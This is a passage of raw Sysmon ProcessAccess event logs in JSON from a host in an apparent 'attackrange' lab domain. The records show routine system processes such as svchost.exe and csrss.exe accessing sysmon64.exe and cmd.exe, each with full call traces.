11:49:57.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\